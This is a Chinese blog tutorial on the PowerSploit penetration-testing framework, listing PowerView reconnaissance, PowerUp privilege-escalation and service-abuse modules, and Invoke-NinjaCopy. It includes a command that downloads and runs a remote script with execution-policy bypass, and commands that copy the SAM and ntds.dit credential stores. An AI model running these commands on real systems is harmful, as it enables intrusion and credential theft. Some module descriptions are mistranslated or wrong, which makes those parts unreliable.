首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >工具的使用|PowerSploit脚本的用法

工具的使用|PowerSploit脚本的用法

作者头像
谢公子
发布于 2022-01-19 11:42:11
发布于 2022-01-19 11:42:11
1.8K00
代码可运行
举报
文章被收录于专栏:谢公子学安全谢公子学安全
运行总次数:0
代码可运行

目录

PowerSploit

PowerSploit的用法

PowerView.ps1脚本的使用

PowerUp.ps1脚本的使用

Invoke-Allchecks模块

Invoke-NinjaCopy.ps1脚本的使用

PowerSploit

PowerSploit是一款基于PowerShell的后渗透框架软件,包含了很多PowerShell的攻击脚本,它们主要用于渗透中的信息侦测,权限提升、权限维持等。PowerSploit项目地址:https://github.com/PowerShellMafia/PowerSploit

  • ActivirusBypass:发现杀毒软件的查杀特征
  • CodeExecution:在目标主机上执行代码
  • Exfiltration:目标主机上的信息搜集工具
  • Mayhem:蓝屏等破坏性的脚本
  • Persistence:后门脚本
  • Privsec:提权等脚本
  • Recon:以目标主机为跳板进行内网信息侦查
  • ScriptModification:在目标主机上创建或修改脚本

本文主要讲的是PowerSploit用于搜索域信息的模块,其他模块用法一致。

PowerSploit的用法

首先,我们想用里面哪个脚本,就先下载该脚本,然后导入该脚本,执行其中的模块。我们以PowerView.ps1脚本为例,该脚本主要用于搜集域信息。

我们先下载PowerView.ps1脚本到本地,然后在当前目录下打开cmd,执行以下命令执行PowerView.ps1脚本中的Get-NetDomain模块,如果要执行该脚本的其他模块,亦是如此

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
powershell -exec bypass Import-Module .\powerview.ps1;Get-NetDomain

如果需要远程加载模块的话,我们先将PowerView.ps1放到我们的http服务目录下,然后执行以下命令

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
powershell -exec bypass -c IEX (New-Object System.Net.Webclient).DownloadString('http://xx.xx.xx.xx/powerview.ps1');import-module .\powerview.ps1;Get-NetDomain

PowerView.ps1脚本的使用

PowerView.ps1脚本位于PowerSploit的Recon目录下,该模块主要用于域内信息的收集。

该脚本有以下一些模块

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Get-NetDomain               #查看域名称
Get-NetDomainController     #获取域控的信息
Get-NetForest               #查看域内详细的信息
Get-Netuser                 #获取域内所有用户的详细信息
Get-NetUser | select name   #获得域内所有用户名
Get-NetGroup        #获取域内所有组信息
Get-NetGroup | select name  #获取域内所有的组名
Get-NetGroup *admin* | select name   #获得域内组中带有admin的
Get-NetGroup "Domain Admins"         #查看组"Domain Admins"组的信息
Get-NetGroup -UserName test   #获得域内组中用户test的信息
 
Get-UserEvent        #获取指定用户日志信息
Get-NetComputer             #获取域内所有机器的详细信息
Get-NetComputer | select name   #获得域内主机的名字
Get-Netshare                #获取本机的网络共享
Get-NetProcess              #获取本机进程的详细信息
Get-NetOU                #获取域内OU信息
Get-NetFileServer      #根据SPN获取当前域使用的文件服务器
Get-NetSession         #获取在指定服务器存在的Session信息
Get-NetRDPSESSION           #获取本机的RDP连接session信息
Get-NetGPO           #获取域内所有组策略对象
Get-ADOBJECT                #获取活动目录的信息
Get-DomainPolicy       #获取域默认策略
 
Invoke-UserHunter           #查询指定用户登录过的机器
Invoke-EnumerateLocalAdmin  #枚举出本地的管理员信息
Invoke-ProcessHunter        #判断当前机器哪些进程有管理员权限
Invoke-UserEventHunter    #根据用户日志获取某域用户登陆过哪些域机器

PowerUp.ps1脚本的使用

PowerUp.ps1脚本是 Privsec 目录下的一个脚本,功能非常强大。拥有很多用来寻找目标主机Windows服务配置错误来进行提权的模块。当我们无法通过 windows 内核漏洞进行提权的话,这个时候我们就可以利用该脚本来寻找目标主机上Windows服务配置错误来进行提权,或者利用常见的系统服务,通过其继承的系统权限来完成提权。

我们来看下该脚本下模块的功能:

Service Enumeration(服务枚举)

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Get-ServiceUnquoted             该模块返回包含空格但是没有引号的服务路径的服务
Get-ModifiableServiceFile       该模块返回当前用户可以修改服务的二进制文件或修改其配置文件的服务
Get-ModifiableService           该模块返回当前用户能修改的服务
Get-ServiceDetail               该模块用于返回某服务的信息,用法: Get-ServiceDetail -servicename  服务名

Service Abuse(服务滥用)

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Invoke-ServiceAbuse          该模块通过修改服务来添加用户到指定组,并可以通过设置 -cmd 参数触发添加用户的自定义命令
Write-ServiceBinary          该模块通过写入一个修补的C#服务二进制文件,它可以添加本地管理程序或执行自定义命令,Write-ServiceBinary与Install-ServiceBinary不同之处自安于,前者生成可执行文件,后者直接安装服务  
Install-ServiceBinary        该模块通过Write-ServiceBinary写一个C#的服务用来添加用户,
Restore-ServiceBinary        该模块用于恢复服务的可执行文件到原始目录,使用:Restore-ServiceBinary -servicename 服务名

DLL Hijacking(DLL注入)

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Find-ProcessDLLHijack       该模块查找当前正在运行的进程潜在的dll劫持机会。
Find-PathDLLHijack          该模块用于检查当前 %path% 的哪些目录是用户可以写入的
Write-HijackDll             该模块可写入可劫持的dll

Registry Checks(注册审核)

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Get-RegistryAlwaysInstallElevated     该模块用于检查AlwaysInstallElevated注册表项是否被设置,如果已被设置,则意味着SAM文件是以System权限运行的
Get-RegistryAutoLogon                 该模块用于检测Winlogin注册表的AutoAdminLogon项是否被设置,可用于查询默认的用户名和密码
Get-ModifiableRegistryAutoRun         该模块用于检查开机自启的应用程序路径和注册表键值,然后返回当前用户可修改的程序路径,被检查的注册表键值有以下:
    HKLM\Software\Microsoft\Windows\CurrentVersino\Run
    HKLM\Software\Microsoft\Windows\CurrentVersino\RunOnce
    HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
    HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce
    HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunService
    HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceService
    HKLM\Software\Microsoft\Windows\CurrentVersion\RunService
    HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceService

Miscellaneous Checks(杂项审核)

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Get-ModifiableScheduledTaskFile       该模块用于返回当前用户能够修改的计划任务程序的名称和路径 
Get-Webconfig                         该模块用于返回当前服务器上web.config文件中的数据库连接字符串的明文
Get-ApplicationHost                   该模块利用系统上的applicationHost.config文件恢复加密过的应用池和虚拟目录的密码
Get-SiteListPassword                  该模块检索任何已找到的McAfee的SiteList.xml文件的明文密码
Get-CachedGPPPassword                 该模块检查缓存的组策略首选项文件中的密码
Get-UnattendedInstallFile             该模块用于检查以下路径,查找是否存在这些文件,因为这些文件可能含有部署凭据 
    C:\sysprep\sysprep.xml
    C:\sysprep\sysprep.inf
    C:\sysprep.inf
    C:\Windows\Panther\Unattended.xml
    C:\Windows\Panther\Unattend\Unattended.xml
    C:\Windows\Panther\Unattend.xml
    C:\Windows\Panther\Unattend\Unattend.xml
    C:\Windows\System32\Sysprep\unattend.xml
    C:\Windows\System32\Sysprep\Panther\unattend.xml

Other Helpers/Meta-Functions(其他一些模块的帮助)

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Get-ModifiablePath                 该模块标记输入字符串并返回当前用户可以修改的文件
Get-CurrentUserTokenGroupSid       该模块返回当前用户参与的所有小岛屿发展中国家,无论它们是否已禁用。
Add-ServiceDacl                    该模块将dacl字段添加到get-service返回的服务对象中
Set-ServiceBinPath                 该模块通过Win 32 api方法将服务的二进制路径设置为指定的值。
Test-ServiceDaclPermission         该模块用于检查所有可用的服务,并尝试对这些打开的服务进行修改。如果能修改,则返回该服务对象。使用:Test-ServiceDaclPermission -servicename 服务名
Write-UserAddMSI                   该模块写入一个MSI安装程序,提示要添加一个用户。
Invoke-AllChecks                   该模块会自动执行 PowerUp.ps1 下所有的模块来检查目标主机是否存在服务配置漏洞

以下是这些模块提权的原理:

  • Get-ServiceUnquoted 模块提权 (该模块利用了Windows的一个逻辑漏洞,即当文件包含空格时,WindowsAPI会解释为两个路径,并将这两个文件同时执行,这个漏洞在有些时候会造成权限的提升)。
  • Test-ServiceDaclPermission 模块提权 (该模块会检查所有可用的服务,并尝试对这些打开的服务进行修改,如果可修改,则存在此漏洞)。Windows系统服务文件在操作系统启动时会加载执行,并且在后台调用可执行文件。比如在每次重启系统时,Java升级程序都会检测出Oracle网站是否有新版Java程序。而类似Java程序之类的系统服务程序,在加载时往往都是运行在系统权限上的。所以如果一个低权限的用户对于此类系统服务调用的可执行文件具有可写的权限,那么就可以将其替换成我们的恶意可执行文件,从而随着系统启动服务器获得系统权限。。

Invoke-Allchecks模块

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
powershell -exec bypass -c import-module .\PowerUp.ps1;Invoke-Allchecks
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
 -verbose

运行该脚本,该脚本会自动检查PowerUp.ps1下所有的模块,并在存在漏洞利用的模块下的AbuseFunction中直接给出利用方法

Invoke-NinjaCopy.ps1脚本的使用

该脚本在Exfiltration目录下,该文件的作用是复制一些系统无法复制的文件,比如sam文件。还可以在域环境中传输文件(前提是执行命令的用户是域用户)

注:该脚本需要管理员权限运行

复制文件

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Import-Module .\Invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path C:\Windows\system32\config\sam -Verbose -LocalDestination C:\Users\administrator\Desktop\sam

域环境中传输文件

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Copy-Item '\\dc.offensive.local\C$\Users\administrator\Desktop\ntds.dit'-Destination '\\Client1.offensive.local\C$\Users\alice\Desktop\tools\ntds.dit'   #将dc.offensive.local主机上c:\users\administrator\desktop\ntds.dit文件复制到 Client1.offensive.local 主机的C:\users\alice\Desktop\tools\ntds.dit文件

未完待续。。。。。。。。。

参考书籍:《Web安全攻防-渗透测试实战指南》

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-10-09,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 谢公子学安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
CS学习笔记 | 14、powerup提权的方法
利用 PowerUp 进行提权需要首先导入 ps1 文件powershell-import PowerUp.ps1,再执行powershell Invoke-AllChecks命令,使用 PowerUp 脚本可以快速的帮助我们发现系统弱点,从而实现提权的目的。
TeamsSix
2020/07/28
3.2K0
CS学习笔记 | 14、powerup提权的方法
Windows 权限提升
本篇内容是内网安全攻防:渗透测试实战指南时的阅读笔记,笔记大部分内容均来自此书,另外一部分来源于一些公开文档和非公开文档,参考链接中均有注明。
重生信息安全
2020/07/15
4K0
Windows 权限提升
Windows 提权
当我们通过webshell拿到一个普通用户的权限,由于是普通用户所以很多操作都会受限制。这就需要通过一定的方法将普通用户提权到更高权限的用户。
鸿鹄实验室
2022/11/02
2.1K0
Windows 提权
【详解】PowerShell工具之Powerup详解
在渗透测试和安全研究领域,PowerShell 作为一种强大的脚本语言,被广泛用于各种自动化任务。​​PowerUp​​ 是一个专门为渗透测试设计的 PowerShell 脚本,旨在帮助测试人员快速发现 Windows 系统中的潜在漏洞。本文将详细介绍 ​​PowerUp​​ 的功能、使用方法以及一些实际应用场景。
大盘鸡拌面
2025/07/11
950
Active Directory渗透测试典型案例(2) 特权提升和信息收集
本文转载自:https://www.cnblogs.com/backlion/p/10843067.html
用户1631416
2019/05/30
3.1K0
干货 | Windows/Linux下常用的提权扫描辅助工具总结
下载地址:https://github.com/AonCyberLabs/Windows-Exploit-Suggester
HACK学习
2022/02/17
4.2K0
干货 | 常用提权辅助工具推荐
本公众号提供的工具、教程、学习路线、精品文章均为原创或互联网收集,旨在提高网络安全技术水平为目的,只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试加入交流群讨论或留言私信,如有侵权请联系小编处理。
网络安全自修室
2024/06/05
1K0
干货 | 常用提权辅助工具推荐
安全杂谈-Windows下的几种提权方式的粗略汇总
随着系统管理员的安全意识的普遍提高,提权越来越成为广大渗透测试者所面临共同问题。本人水平有限,粗浅地总结了下几种提权方式,以及一些个人看法,并配合相应的演示。可能对实战没什么太直接的帮助,算是帮大家温习下基础吧。 实验环境是kali和win2008,有时候用win10,毕竟个人用户还是win10多啊。
用户1631416
2019/09/24
1K0
安全杂谈-Windows下的几种提权方式的粗略汇总
Metasploit、powershell之Windows错误系统配置漏洞实战提权
01 引言 我们在获得目标机一个普通的权限时,除了常规提权方法外,还可以通过查找目标主机错误的系统配置和漏洞来获取系统权限。本节所讲的“Trusted Service Paths(可信任服务路径)漏洞
FB客服
2018/02/24
1.9K0
Metasploit、powershell之Windows错误系统配置漏洞实战提权
内网渗透基石篇--权限提升
在windows中,权限大概分为四种,分别是User、Administrator、System、TrustedInstallerTrus
FB客服
2021/07/03
1.9K0
内网渗透基石篇--权限提升
metasploit、powershell之Windows错误系统配置漏洞实战提权
我们在获得目标机一个普通的权限时,除了常规提权方法外,还可以通过查找目标主机错误的系统配置和漏洞来获取系统权限。本节所讲的“Trusted Service Paths(可信任服务路径)漏洞”和“系统服务的错误权限配置漏洞”绝对是你值得尝试的一个环节。
Ms08067安全实验室
2019/12/18
1.3K0
metasploit、powershell之Windows错误系统配置漏洞实战提权
一篇文章精通PowerShell Empire 2.3(下)
Empire主要用于后渗透。所以信息收集是比较常用的一个模块,我们可以使用searchmodule命令搜索需要使用的模块,这里通过键入“usemodule collection”然后按Tab键来查看完整列表,如下图所示。
HACK学习
2019/08/07
1K0
CS学习笔记 | 15、枚举的命令和方法
活动目录Active Directory是一种能够集中管理用户、系统和策略的技术,活动目录的一个重要概念就是域。
TeamsSix
2020/08/13
8120
获取域内管理员和用户信息
如果我们拿到了一台普通用户权限的windows计算机,想要在内网中横向移动,需要知道域内用户登录的位置,是否是本地管理员,他的组,是否有权访问文件共亨等等。
黑白天安全
2020/07/30
8.4K0
获取域内管理员和用户信息
渗透测试中常用powershell(一)
参考:https://www.anquanke.com/post/id/86241
Jumbo
2019/03/07
1.9K0
我所了解的内网渗透 - 内网渗透知识大总结
一般想知道哪一台是域控知道自己内网的DNS就可以了,一般域控安装都有安装DNS有些不止一台,其次是通过扫描获取开放端口为389机器或者使用NLTEST命令查看。最后就是各种网络查看查看域控是哪台主机
HACK学习
2019/08/06
4.5K0
我所了解的内网渗透 - 内网渗透知识大总结
windows提权看这一篇就够了
windows在日常的渗透中经常遇到,而在内网之前,经常会在所拿到的跳板机进行提权,这样后面横向,内网才能更好的展开(抓hash,必须得系统或管理员权限),所以这里做了一次window提权总结,建议收藏,反复看,熟能生巧!
Gamma实验室
2021/01/11
17.4K0
windows提权看这一篇就够了
建议收藏 | CS学习笔记合集
自2020年4月份至2020年10月份,笔者更新了自己在学习 Cobalt Strike 过程中的 28 篇笔记,并将笔记同步更新到了自己的公众号、博客、CSDN、知乎、简书等平台,特在此整理成合集发布出来。 在合集中对于笔记的标题、内容顺序适当的进行了一些更改,从而使得整体看起来更加和谐。
TeamsSix
2020/10/30
3.8K0
建议收藏 | CS学习笔记合集
基于Packer打包Windows镜像的避坑指南
2023年我第一次用腾讯云Packer的时候,当时还是1.8.6版本,那时第一次用,并没有吃透Packer,比如:
Windows技术交流
2024/12/04
3490
内网学习笔记 | 密码抓取
Windows 系统一般使用两种方法对用户的密码进行加密处理,在域环境中,用户的密码信息以哈希值的密文形式存储在 ntds.dit 二进制文件中,该文件位于 %SystemRoot%\ntds\ntds.dit 路径下,由于该文件一直被活动目录访问,因此这个文件是被系统禁止读取的。
TeamsSix
2022/09/20
2.4K0
内网学习笔记 | 密码抓取
推荐阅读
相关推荐
CS学习笔记 | 14、powerup提权的方法
更多 >
LV.1
这个人很懒,什么都没有留下~
交个朋友
加入腾讯云官网粉丝站
蹲全网底价单品 享第一手活动信息
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验